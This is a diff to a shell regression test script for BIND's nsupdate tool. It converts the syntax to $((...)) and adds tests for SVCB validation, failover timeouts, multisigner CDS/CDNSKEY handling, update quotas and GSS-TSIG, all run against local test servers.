@@ -848,7 +1108,7 @@ if [ $ret -ne 0 ]; then
     status=1
 fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "check that ttl is capped by max-ttl ($n)"
 $NSUPDATE <<END > /dev/null || ret=1
@@ -865,7 +1125,7 @@ if [ $ret -ne 0 ]; then
     status=1
 fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "add a record which is truncated when logged. ($n)"
 $NSUPDATE verylarge || ret=1
@@ -877,19 +1137,19 @@ if [ $ret -ne 0 ]; then
     status=1
 fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "check that yyyymmddvv serial number is correctly generated ($n)"
-oldserial=`$DIG $DIGOPTS +short yyyymmddvv.nil. soa @10.53.0.1 | awk '{print $3}'` || ret=1
+oldserial=$($DIG $DIGOPTS +short yyyymmddvv.nil. soa @10.53.0.1 | awk '{print $3}') || ret=1
 $NSUPDATE <<END > /dev/null 2>&1 || ret=1
     server 10.53.0.1 ${PORT}
     ttl 600
     update add new.yyyymmddvv.nil in a 1.2.3.4
     send
 END
-now=`$PERL -e '@lt=localtime(); printf "%.4d%0.2d%0.2d00\n",$lt[5]+1900,$lt[4]+1,$lt[3];'`
+now=$($PERL -e '@lt=localtime(); printf "%.4d%0.2d%0.2d00\n",$lt[5]+1900,$lt[4]+1,$lt[3];')
 sleep 1
-serial=`$DIG $DIGOPTS +short yyyymmddvv.nil. soa @10.53.0.1 | awk '{print $3}'` || ret=1
+serial=$($DIG $DIGOPTS +short yyyymmddvv.nil. soa @10.53.0.1 | awk '{print $3}') || ret=1
 [ "$oldserial" -ne "$serial" ] || ret=1
 [ "$serial" -eq "$now" ] || ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
@@ -899,7 +1159,7 @@ serial=`$DIG $DIGOPTS +short yyyymmddvv.nil. soa @10.53.0.1 | awk '{print $3}'`
 #
 if false
 then
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "send many simultaneous updates via a update forwarder ($n)"
 ret=0
 for i in 0 1 2 3 4 5 6 7
@@ -921,12 +1181,12 @@ EOF
 done
 wait
 dig axfr many.test @10.53.0.1 > dig.out.test$n
-lines=`awk '$4 == "A" { l++ } END { print l }' dig.out.test$n`
+lines=$(awk '$4 == "A" { l++ } END { print l }' dig.out.test$n)
 test ${lines:-0} -eq 64 || ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check max-journal-size limits ($n)"
 ret=0
 rm -f nsupdate.out1-$n
@@ -956,37 +1216,37 @@ send
 EOF
 done
 # check that the journal is big enough to require truncation.
-size=`$PERL -e 'use File::stat; my $sb = stat(@ARGV[0]); printf("%s\n", $sb->size);' ns1/maxjournal.db.jnl`
+size=$($PERL -e 'use File::stat; my $sb = stat(@ARGV[0]); printf("%s\n", $sb->size);' ns1/maxjournal.db.jnl)
 [ "$size" -gt 6000 ] || ret=1
 sleep 1
 $RNDCCMD 10.53.0.1 sync maxjournal.test
 check_size_lt_5000() (
-    size=`$PERL -e 'use File::stat; my $sb = stat(@ARGV[0]); printf("%s\n", $sb->size);' ns1/maxjournal.db.jnl`
+    size=$($PERL -e 'use File::stat; my $sb = stat(@ARGV[0]); printf("%s\n", $sb->size);' ns1/maxjournal.db.jnl)
     [ "$size" -lt 5000 ]
 )
 retry_quiet 20 check_size_lt_5000 || ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check check-names processing ($n)"
 ret=0
-$NSUPDATE << EOF > nsupdate.out1-$n 2>&1
+$NSUPDATE << EOF > nsupdate.out1-$n 2>&1 && ret=1
 update add # 0 in a 1.2.3.4
 EOF
 grep "bad owner" nsupdate.out1-$n > /dev/null || ret=1
 
-$NSUPDATE << EOF > nsupdate.out2-$n 2>&1
+$NSUPDATE << EOF > nsupdate.out2-$n 2>&1 || ret=1
 check-names off
 update add # 0 in a 1.2.3.4
 EOF
 grep "bad owner" nsupdate.out2-$n > /dev/null && ret=1
 
-$NSUPDATE << EOF > nsupdate.out3-$n 2>&1
+$NSUPDATE << EOF > nsupdate.out3-$n 2>&1 && ret=1
 update add . 0 in mx 0 #
 EOF
 grep "bad name" nsupdate.out3-$n > /dev/null || ret=1
 
-$NSUPDATE << EOF > nsupdate.out4-$n 2>&1
+$NSUPDATE << EOF > nsupdate.out4-$n 2>&1 || ret=1
 check-names off
 update add . 0 in mx 0 #
 EOF
@@ -994,10 +1254,37 @@ grep "bad name" nsupdate.out4-$n > /dev/null && ret=1
 
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-n=`expr $n + 1`
+n=$((n + 1))
+echo_i "check check-svcb processing ($n)"
+ret=0
+$NSUPDATE << EOF > nsupdate.out1-$n 2>&1 && ret=1
+update add _dns.ns.example 0 in svcb 1 ns.example dohpath=/{?dns}
+EOF
+grep "check-svcb failed: no ALPN" nsupdate.out1-$n > /dev/null || ret=1
+
+$NSUPDATE << EOF > nsupdate.out2-$n 2>&1 || ret=1
+check-svcb off
+update add _dns.ns.example 0 in svcb 1 ns.example dohpath=/{?dns}
+EOF
+grep "check-svcb failed: no ALPN" nsupdate.out2-$n > /dev/null && ret=1
+
+$NSUPDATE << EOF > nsupdate.out3-$n 2>&1 && ret=1
+update add _dns.ns.example 0 in svcb 1 ns.example alpn=h2
+EOF
+grep "check-svcb failed: no DOHPATH" nsupdate.out3-$n > /dev/null || ret=1
+
+$NSUPDATE << EOF > nsupdate.out4-$n 2>&1 || ret=1
+check-svcb off
+update add _dns.ns.example 0 in svcb 1 ns.example alpn=h2
+EOF
+grep "check-svcb failed: no DOHPATH" nsupdate.out4-$n > /dev/null && ret=1
+
+[ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+n=$((n + 1))
 echo_i "check adding of delegating NS records processing ($n)"
 ret=0
-$NSUPDATE -v << EOF > nsupdate.out-$n 2>&1 || ret=1
+$NSUPDATE -v << EOF > nsupdate.out.test$n 2>&1 || ret=1
 server 10.53.0.3 ${PORT}
 zone delegation.test.
 update add child.delegation.test. 3600 NS foo.example.net.
@@ -1009,10 +1296,10 @@ grep "status: NOERROR" dig.out.ns1.test$n > /dev/null 2>&1 || ret=1
 grep "AUTHORITY: 2" dig.out.ns1.test$n > /dev/null 2>&1 || ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check deleting of delegating NS records processing ($n)"
 ret=0
-$NSUPDATE -v << EOF > nsupdate.out-$n 2>&1 || ret=1
+$NSUPDATE -v << EOF > nsupdate.out.test$n 2>&1 || ret=1
 server 10.53.0.3 ${PORT}
 zone delegation.test.
 update del child.delegation.test. 3600 NS foo.example.net.
@@ -1023,35 +1310,117 @@ $DIG $DIGOPTS +tcp @10.53.0.3 ns child.delegation.test > dig.out.ns1.test$n
 grep "status: NXDOMAIN" dig.out.ns1.test$n > /dev/null 2>&1 || ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that adding too many records is blocked ($n)"
 ret=0
-$NSUPDATE -v << EOF > nsupdate.out-$n 2>&1 && ret=1
+$NSUPDATE -v << EOF > nsupdate.out.test$n 2>&1 && ret=1
 server 10.53.0.3 ${PORT}
 zone too-big.test.
 update add r1.too-big.test 3600 IN TXT r1.too-big.test
 send
 EOF
-grep "update failed: SERVFAIL" nsupdate.out-$n > /dev/null || ret=1
+grep "update failed: SERVFAIL" nsupdate.out.test$n > /dev/null || ret=1
 $DIG $DIGOPTS +tcp @10.53.0.3 r1.too-big.test TXT > dig.out.ns3.test$n
 grep "status: NXDOMAIN" dig.out.ns3.test$n > /dev/null || ret=1
 grep "records in zone (4) exceeds max-records (3)" ns3/named.run > /dev/null || ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-n=`expr $n + 1`
+n=$((n + 1))
+ret=0
+echo_i "check whether valid addresses are used for primary failover (UDP with defaults) ($n)"
+t1=$($PERL -e 'print time()')
+$NSUPDATE <<END > nsupdate.out.test$n 2>&1 && ret=1
+server 10.53.0.4 ${PORT}
+zone unreachable.
+update add unreachable. 600 A 192.0.2.1
+send
+END
+t2=$($PERL -e 'print time()')
+grep "; Communication with 10.53.0.4#${PORT} failed: timed out" nsupdate.out.test$n > /dev/null 2>&1 || ret=1
+grep "not implemented" nsupdate.out.test$n > /dev/null 2>&1 && ret=1
+elapsed=$((t2 - t1))
+# Check that default timeout value is respected, there should be 4 tries with 3 seconds each.
+test $elapsed -lt 12 && ret=1
+test $elapsed -gt 15 && ret=1
+[ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+n=$((n + 1))
+ret=0
+echo_i "check whether valid addresses are used for primary failover (UDP with -u udptimeout) ($n)"
+t1=$($PERL -e 'print time()')
+$NSUPDATE -u 4 -r 1 <<END > nsupdate.out.test$n 2>&1 && ret=1
+server 10.53.0.4 ${PORT}
+zone unreachable.
+update add unreachable. 600 A 192.0.2.1
+send
+END
+t2=$($PERL -e 'print time()')
+grep "; Communication with 10.53.0.4#${PORT} failed: timed out" nsupdate.out.test$n > /dev/null 2>&1 || ret=1
+grep "not implemented" nsupdate.out.test$n > /dev/null 2>&1 && ret=1
+elapsed=$((t2 - t1))
+# Check that given timeout value is respected, there should be 2 tries with 4 seconds each.
+test $elapsed -lt 8 && ret=1
+test $elapsed -gt 12 && ret=1
+[ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+n=$((n + 1))
+ret=0
+echo_i "check whether valid addresses are used for primary failover (UDP with -t timeout) ($n)"
+t1=$($PERL -e 'print time()')
+$NSUPDATE -u 0 -t 8 -r 1 <<END > nsupdate.out.test$n 2>&1 && ret=1
+server 10.53.0.4 ${PORT}
+zone unreachable.
+update add unreachable. 600 A 192.0.2.1
+send
+END
+t2=$($PERL -e 'print time()')
+grep "; Communication with 10.53.0.4#${PORT} failed: timed out" nsupdate.out.test$n > /dev/null 2>&1 || ret=1
+grep "not implemented" nsupdate.out.test$n > /dev/null 2>&1 && ret=1
+elapsed=$((t2 - t1))
+# Check that given timeout value is respected, there should be 2 tries with 4 seconds each.
+test $elapsed -lt 8 && ret=1
+test $elapsed -gt 12 && ret=1
+[ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+n=$((n + 1))
+ret=0
+echo_i "check whether valid addresses are used for primary failover (UDP with -u udptimeout -t timeout) ($n)"
+t1=$($PERL -e 'print time()')
+$NSUPDATE -u 4 -t 30 -r 1 <<END > nsupdate.out.test$n 2>&1 && ret=1
+server 10.53.0.4 ${PORT}
+zone unreachable.
+update add unreachable. 600 A 192.0.2.1
+send
+END
+t2=$($PERL -e 'print time()')
+grep "; Communication with 10.53.0.4#${PORT} failed: timed out" nsupdate.out.test$n > /dev/null 2>&1 || ret=1
+grep "not implemented" nsupdate.out.test$n > /dev/null 2>&1 && ret=1
+elapsed=$((t2 - t1))
+# Check that given timeout value is respected, there should be 2 tries with 4 seconds each, as -u takes precedence over -t.
+test $elapsed -lt 8 && ret=1
+test $elapsed -gt 12 && ret=1
+[ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+n=$((n + 1))
 ret=0
-echo_i "check whether valid addresses are used for primary failover ($n)"
-$NSUPDATE -t 1 <<END > nsupdate.out-$n 2>&1 && ret=1
+echo_i "check whether valid addresses are used for primary failover (TCP with -t timeout) ($n)"
+t1=$($PERL -e 'print time()')
+$NSUPDATE -t 8 -v <<END > nsupdate.out.test$n 2>&1 && ret=1
 server 10.53.0.4 ${PORT}
 zone unreachable.
 update add unreachable. 600 A 192.0.2.1
 send
 END
-grep "; Communication with 10.53.0.4#${PORT} failed: timed out" nsupdate.out-$n > /dev/null 2>&1 || ret=1
-grep "not implemented" nsupdate.out-$n > /dev/null 2>&1 && ret=1
+t2=$($PERL -e 'print time()')
+grep "; Communication with 10.53.0.4#${PORT} failed: timed out" nsupdate.out.test$n > /dev/null 2>&1 || ret=1
+grep "not implemented" nsupdate.out.test$n > /dev/null 2>&1 && ret=1
+elapsed=$((t2 - t1))
+# Check that given timeout value is respected, there should be 1 try with 8 seconds.
+test $elapsed -lt 8 && ret=1
+test $elapsed -gt 12 && ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "ensure bad owner name is fatal in non-interactive mode ($n)"
 $NSUPDATE <<END > nsupdate.out 2>&1 && ret=1
@@ -1061,7 +1430,7 @@ grep "invalid owner name: empty label" nsupdate.out > /dev/null || ret=1
 grep "syntax error" nsupdate.out > /dev/null || ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "ensure bad owner name is not fatal in interactive mode ($n)"
 $NSUPDATE -i <<END > nsupdate.out 2>&1 || ret=1
@@ -1070,7 +1439,7 @@ END
 grep "invalid owner name: empty label" nsupdate.out > /dev/null || ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "ensure invalid key type is fatal in non-interactive mode ($n)"
 $NSUPDATE <<END > nsupdate.out 2>&1 && ret=1
@@ -1080,7 +1449,7 @@ grep "unknown key type 'badkeytype'" nsupdate.out > /dev/null || ret=1
 grep "syntax error" nsupdate.out > /dev/null || ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "ensure invalid key type is not fatal in interactive mode ($n)"
 $NSUPDATE -i <<END > nsupdate.out 2>&1 || ret=1
@@ -1089,7 +1458,7 @@ END
 grep "unknown key type 'badkeytype'" nsupdate.out > /dev/null || ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "ensure unresolvable server name is fatal in non-interactive mode ($n)"
 $NSUPDATE <<END > nsupdate.out 2>&1 && ret=1
@@ -1099,7 +1468,7 @@ grep "couldn't get address for 'unresolvable..':" nsupdate.out > /dev/null || re
 grep "syntax error" nsupdate.out > /dev/null || ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "ensure unresolvable server name is not fatal in interactive mode ($n)"
 $NSUPDATE -i <<END > nsupdate.out 2>&1 || ret=1
@@ -1109,45 +1478,45 @@ grep "couldn't get address for 'unresolvable..':" nsupdate.out > /dev/null || re
 grep "syntax error" nsupdate.out > /dev/null && ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "check nsupdate -4 -6 ($n)"
-$NSUPDATE -4 -6 <<END > nsupdate.out-$n 2>&1 && ret=1
+$NSUPDATE -4 -6 <<END > nsupdate.out.test$n 2>&1 && ret=1
 server 10.53.0.3 ${PORT}
 zone delegation.test.
 update del child.delegation.test. 3600 NS foo.example.net.
 update del child.delegation.test. 3600 NS bar.example.net.
 send
 END
-grep "only one of -4 and -6 allowed" nsupdate.out-$n > /dev/null 2>&1 || ret=1
+grep "only one of -4 and -6 allowed" nsupdate.out.test$n > /dev/null 2>&1 || ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "check nsupdate -4 with an IPv6 server address ($n)"
-$NSUPDATE -4 <<END > nsupdate.out-$n 2>&1 && ret=1
+$NSUPDATE -4 <<END > nsupdate.out.test$n 2>&1 && ret=1
 server fd92:7065:b8e:ffff::2 ${PORT}
 zone delegation.test.
 update del child.delegation.test. 3600 NS foo.example.net.
 update del child.delegation.test. 3600 NS bar.example.net.
 send
 END
-grep "address family not supported" nsupdate.out-$n > /dev/null 2>&1 || ret=1
+grep "address family not supported" nsupdate.out.test$n > /dev/null 2>&1 || ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "check that TKEY in a update is rejected ($n)"
-$NSUPDATE -d <<END > nsupdate.out-$n 2>&1 && ret=1
+$NSUPDATE -d <<END > nsupdate.out.test$n 2>&1 && ret=1
 server 10.53.0.3 ${PORT}
 update add tkey.example 0 in tkey invalid.algorithm. 1516055980 1516140801 1 0 16 gRof8D2BFKvl/vrr9Lmnjw== 16 gRof8D2BFKvl/vrr9Lmnjw==
 send
 END
-grep "UPDATE, status: NOERROR" nsupdate.out-$n > /dev/null 2>&1 || ret=1
-grep "UPDATE, status: FORMERR" nsupdate.out-$n > /dev/null 2>&1 || ret=1
+grep "UPDATE, status: NOERROR" nsupdate.out.test$n > /dev/null 2>&1 || ret=1
+grep "UPDATE, status: FORMERR" nsupdate.out.test$n > /dev/null 2>&1 || ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "check that max records is enforced ($n)"
 nextpart ns6/named.run > /dev/null
@@ -1173,7 +1542,7 @@ then
 echo_i "failed"; status=1
 fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "check that max records for ANY is enforced ($n)"
 nextpart ns6/named.run > /dev/null
@@ -1200,13 +1569,13 @@ grep "attempt to add more records than permitted by policy" nextpart.out.test$n
 c1=$(awk '$4 == "A" { print }' dig.out.ns6.test$n | wc -l)
 c2=$(awk '$4 == "AAAA" { print }' dig.out.ns6.test$n | wc -l)
 test "$c1" -eq 3 -a "$c2" -eq 2 || ret=1
-grep "::ffff:1.2.3.2" dig.out.ns6.test$n && ret=1
+grep "::ffff:1.2.3.2" dig.out.ns6.test$n > /dev/null && ret=1
 if test $ret -ne 0
 then
 echo_i "failed"; status=1
 fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "check that DS to the zone apex is ignored ($n)"
 $DIG $DIGOPTS +tcp +norec example DS @10.53.0.3 > dig.out.pre.test$n || ret=1
@@ -1214,7 +1583,7 @@ grep "status: NOERROR" dig.out.pre.test$n > /dev/null || ret=1
 grep "ANSWER: 0," dig.out.pre.test$n > /dev/null || ret=1
 nextpart ns3/named.run > /dev/null
 # specify zone to override the default of adding to parent zone
-$NSUPDATE -d <<END > nsupdate.out-$n 2>&1 || ret=1
+$NSUPDATE -d <<END > nsupdate.out.test$n 2>&1 || ret=1
 server 10.53.0.3 ${PORT}
 zone example
 update add example 0 in DS 14364 10 2 FD03B2312C8F0FE72C1751EFA1007D743C94EC91594FF0047C23C37CE119BA0C
@@ -1227,31 +1596,223 @@ grep "status: NOERROR" dig.out.post.test$n > /dev/null || ret=1
 grep "ANSWER: 0," dig.out.post.test$n > /dev/null || ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-n=`expr $n + 1`
+n=$((n + 1))
+ret=0
+echo_i "check that CDS with mismatched algorithm to DNSSEC multisigner zone is not allowed ($n)"
+$DIG $DIGOPTS +tcp +norec multisigner.test CDS @10.53.0.3 > dig.out.pre.test$n || ret=1
+grep "status: NOERROR" dig.out.pre.test$n > /dev/null || ret=1
+grep "ANSWER: 0," dig.out.pre.test$n > /dev/null || ret=1
+$NSUPDATE -d <<END > nsupdate.out.test$n 2>&1 && ret=1
+server 10.53.0.3 ${PORT}
+zone multisigner.test
+update add multisigner.test 3600 IN CDS 14364 14 2 FD03B2312C8F0FE72C1751EFA1007D743C94EC91594FF0047C23C37CE119BA0C
+send
+END
+msg=": bad CDS RRset"
+nextpart ns3/named.run | grep "$msg" > /dev/null || ret=1
+$DIG $DIGOPTS +tcp +norec multisigner.test CDS @10.53.0.3 > dig.out.post.test$n || ret=1
+grep "status: NOERROR" dig.out.post.test$n > /dev/null || ret=1
+grep "ANSWER: 0," dig.out.post.test$n > /dev/null || ret=1
+[ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+n=$((n + 1))
+ret=0
+echo_i "check that CDNSKEY with mismatched algorithm to DNSSEC multisigner zone is not allowed ($n)"
+$DIG $DIGOPTS +tcp +norec multisigner.test CDNSKEY @10.53.0.3 > dig.out.pre.test$n || ret=1
+grep "status: NOERROR" dig.out.pre.test$n > /dev/null || ret=1
+grep "ANSWER: 0," dig.out.pre.test$n > /dev/null || ret=1
+nextpart ns3/named.run > /dev/null
+$NSUPDATE -d <<END > nsupdate.out.test$n 2>&1 && ret=1
+server 10.53.0.3 ${PORT}
+zone multisigner.test
+update add multisigner.test 3600 IN CDNSKEY 257 3 14 d0NQ5PKmDz6P0B1WPMH9/UKRux/toSFwV2nTJYPA1Cx8pB0sJGTXbVhG U+6gye7VCHDhGIn9CjVfb2RJPW7GnQ==
+send
+END
+msg=": bad CDNSKEY RRset"
+nextpart ns3/named.run | grep "$msg" > /dev/null || ret=1
+$DIG $DIGOPTS +tcp +norec multisigner.test CDNSKEY @10.53.0.3 > dig.out.post.test$n || ret=1
+grep "status: NOERROR" dig.out.post.test$n > /dev/null || ret=1
+grep "ANSWER: 0," dig.out.post.test$n > /dev/null || ret=1
+[ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+n=$((n + 1))
+ret=0
+echo_i "check that CDS to DNSSEC multisigner zone is allowed ($n)"
+$DIG $DIGOPTS +tcp +norec multisigner.test CDS @10.53.0.3 > dig.out.pre.test$n || ret=1
+grep "status: NOERROR" dig.out.pre.test$n > /dev/null || ret=1
+grep "ANSWER: 0," dig.out.pre.test$n > /dev/null || ret=1
+$NSUPDATE -d <<END > nsupdate.out.test$n 2>&1 || ret=1
+server 10.53.0.3 ${PORT}
+zone multisigner.test
+update add multisigner.test 3600 IN CDS 14364 13 2 FD03B2312C8F0FE72C1751EFA1007D743C94EC91594FF0047C23C37CE119BA0C
+send
+END
+retry_quiet 5 has_positive_response multisigner.test CDS 10.53.0.3 || ret=1
+[ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+n=$((n + 1))
+ret=0
+echo_i "check that CDNSKEY to DNSSEC multisigner zone is allowed ($n)"
+$DIG $DIGOPTS +tcp +norec multisigner.test CDNSKEY @10.53.0.3 > dig.out.pre.test$n || ret=1
+grep "status: NOERROR" dig.out.pre.test$n > /dev/null || ret=1
+grep "ANSWER: 0," dig.out.pre.test$n > /dev/null || ret=1
+$NSUPDATE -d <<END > nsupdate.out.test$n 2>&1 || ret=1
+server 10.53.0.3 ${PORT}
+zone multisigner.test
+update add multisigner.test 3600 IN CDNSKEY 257 3 13 d0NQ5PKmDz6P0B1WPMH9/UKRux/toSFwV2nTJYPA1Cx8pB0sJGTXbVhG U+6gye7VCHDhGIn9CjVfb2RJPW7GnQ==
+send
+END
+retry_quiet 5 has_positive_response multisigner.test CDNSKEY 10.53.0.3 || ret=1
+[ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+n=$((n + 1))
 ret=0
 echo_i "check that excessive NSEC3PARAM iterations are rejected by nsupdate ($n)"
-$NSUPDATE -d <<END > nsupdate.out-$n 2>&1 && ret=1
+$NSUPDATE -d <<END > nsupdate.out.test$n 2>&1 && ret=1
 server 10.53.0.3 ${PORT}
 zone example
 update add example 0 in NSEC3PARAM 1 0 151 -
 END
-grep "NSEC3PARAM has excessive iterations (> 150)" nsupdate.out-$n >/dev/null || ret=1
+grep "NSEC3PARAM has excessive iterations (> 150)" nsupdate.out.test$n >/dev/null || ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-if ! $FEATURETEST --gssapi ; then
-  echo_i "SKIPPED: GSSAPI tests"
-else
-  n=`expr $n + 1`
-  ret=0
-  echo_i "check krb5-self match ($n)"
-  KRB5CCNAME="FILE:"`pwd`/ns7/machine.ccache
-  export KRB5CCNAME
-  $NSUPDATE << EOF > nsupdate.out-$n 2>&1 || ret=1
-  gsstsig
-  realm EXAMPLE.COM
-  server 10.53.0.7 ${PORT}
-  zone example.com
-  update add machine.example.com 3600 IN A 10.53.0.7
+n=$((n + 1))
+ret=0
+echo_i "check nsupdate retries with another server on REFUSED response ($n)"
+# resolv.conf uses 10.53.0.1 followed by 10.53.0.3; example is only
+# served by 10.53.0.3, so we should fail over to the second server;
+# that's what we're testing for. (failure is still expected, however,
+# because the address lookup for the primary doesn't use the overridden
+# resolv.conf file).
+$NSUPDATE -D -C resolv.conf -p ${PORT} << EOF > nsupdate.out.test$n 2>&1 && ret=1
+zone example
+update add a 3600 IN A 1.2.3.4
+send
+EOF
+grep '10.53.0.1.*REFUSED' nsupdate.out.test$n > /dev/null || ret=1
+grep 'Reply from SOA query' nsupdate.out.test$n > /dev/null || ret=1
+[ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+n=$((n + 1))
+ret=0
+echo_i "check that named rejects '_dns' SVCB with missing ALPN ($n)"
+nextpart ns3/named.run > /dev/null
+$NSUPDATE -d <<END > nsupdate.out.test$n 2>&1 && ret=1
+server 10.53.0.3 ${PORT}
+zone example
+check-svcb no
+update add _dns.ns.example 0 in SVCB 1 ns.example dohpath=/{?dns}
+send
+END
+grep 'status: REFUSED' nsupdate.out.test$n > /dev/null || ret=1
+msg="update failed: _dns.ns.example/SVCB: no ALPN (REFUSED)"
+nextpart ns3/named.run | grep "$msg" > /dev/null || ret=1
+[ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+n=$((n + 1))
+ret=0
+echo_i "check that named accepts '_dns' SVCB with missing ALPN (check-svcb no) ($n)"
+$NSUPDATE -d <<END > nsupdate.out.test$n 2>&1 || ret=1
+server 10.53.0.3 ${PORT}
+zone relaxed
+check-svcb no
+update add _dns.ns.relaxed 0 in SVCB 1 ns.relaxed dohpath=/{?dns}
+send
+END
+$DIG $DIGOPTS +tcp @10.53.0.3 _dns.ns.relaxed SVCB > dig.out.ns3.test$n
+grep '1 ns.relaxed. key7="/{?dns}"' dig.out.ns3.test$n > /dev/null || ret=1
+[ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+n=$((n + 1))
+ret=0
+echo_i "check that named rejects '_dns' SVCB with missing DOHPATH ($n)"
+nextpart ns3/named.run > /dev/null
+$NSUPDATE -d <<END > nsupdate.out.test$n 2>&1 && ret=1
+server 10.53.0.3 ${PORT}
+zone example
+check-svcb no
+update add _dns.ns.example 0 in SVCB 1 ns.example alpn=h2
+send
+END
+grep 'status: REFUSED' nsupdate.out.test$n > /dev/null || ret=1
+msg="update failed: _dns.ns.example/SVCB: no DOHPATH (REFUSED)"
+nextpart ns3/named.run | grep "$msg" > /dev/null || ret=1
+[ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+n=$((n + 1))
+ret=0
+echo_i "check that named accepts '_dns' SVCB with missing DOHPATH (check-svcb no) ($n)"
+$NSUPDATE -d <<END > nsupdate.out.test$n 2>&1 || ret=1
+server 10.53.0.3 ${PORT}
+zone relaxed
+check-svcb no
+update add _dns.ns.relaxed 0 in SVCB 1 ns.relaxed alpn=h2
+send
+END
+$DIG $DIGOPTS +tcp @10.53.0.3 _dns.ns.relaxed SVCB > dig.out.ns3.test$n
+grep '1 ns.relaxed. alpn="h2"' dig.out.ns3.test$n > /dev/null || ret=1
+[ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+n=$((n + 1))
+ret=0
+echo_i "check that update is rejected if query is not allowed ($n)"
+{
+  $NSUPDATE -d <<END && ret=1
+  local 10.53.0.2
+  server 10.53.0.1 ${PORT}
+  update add reject.other.nil 3600 IN TXT Whatever
+  send
+END
+} > nsupdate.out.test$n 2>&1
+grep 'failed: REFUSED' nsupdate.out.test$n > /dev/null || ret=1
+[ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+n=$((n + 1))
+ret=0
+echo_i "check that update is rejected if quota is exceeded ($n)"
+for loop in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20; do
+{
+  $NSUPDATE -4 -l -p ${PORT} -k ns1/session.key > /dev/null 2>&1 <<END
+  update add txt-$loop.other.nil 3600 IN TXT Whatever
+  send
+END
+} &
+done
+wait_for_log 10 "too many DNS UPDATEs queued" ns1/named.run || ret=1
+[ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+if ! $FEATURETEST --gssapi ; then
+  echo_i "SKIPPED: GSSAPI tests"
+else
+  n=$((n + 1))
+  ret=0
+  echo_i "check GSS-API TKEY request rcode against a non configured server ($n)"
+  KRB5CCNAME="FILE:$(pwd)/ns7/machine.ccache"
+  export KRB5CCNAME
+  $NSUPDATE << EOF > nsupdate.out.test$n 2>&1 && ret=1
+  gsstsig
+  realm EXAMPLE.COM
+  server 10.53.0.7 ${PORT}
+  zone example.com
+  send
+EOF
+  grep "response to GSS-TSIG query was unsuccessful (REFUSED)" nsupdate.out.test$n > /dev/null  || ret=1
+  [ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+  copy_setports ns7/named2.conf.in ns7/named.conf
+  rndc_reload ns7 10.53.0.7
+
+  n=$((n + 1))
+  ret=0
+  echo_i "check krb5-self match ($n)"
+  KRB5CCNAME="FILE:$(pwd)/ns7/machine.ccache"
+  export KRB5CCNAME
+  $NSUPDATE << EOF > nsupdate.out.test$n 2>&1 || ret=1
+  gsstsig
+  realm EXAMPLE.COM
+  server 10.53.0.7 ${PORT}
+  zone example.com
+  update add machine.example.com 3600 IN A 10.53.0.7
   send
 EOF
   $DIG $DIGOPTS +tcp @10.53.0.7 machine.example.com A > dig.out.ns7.test$n
@@ -1259,12 +1820,12 @@ EOF
   grep "machine.example.com..*A.*10.53.0.7" dig.out.ns7.test$n > /dev/null || ret=1
   [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-  n=`expr $n + 1`
+  n=$((n + 1))
   ret=0
   echo_i "check krb5-self no-match ($n)"
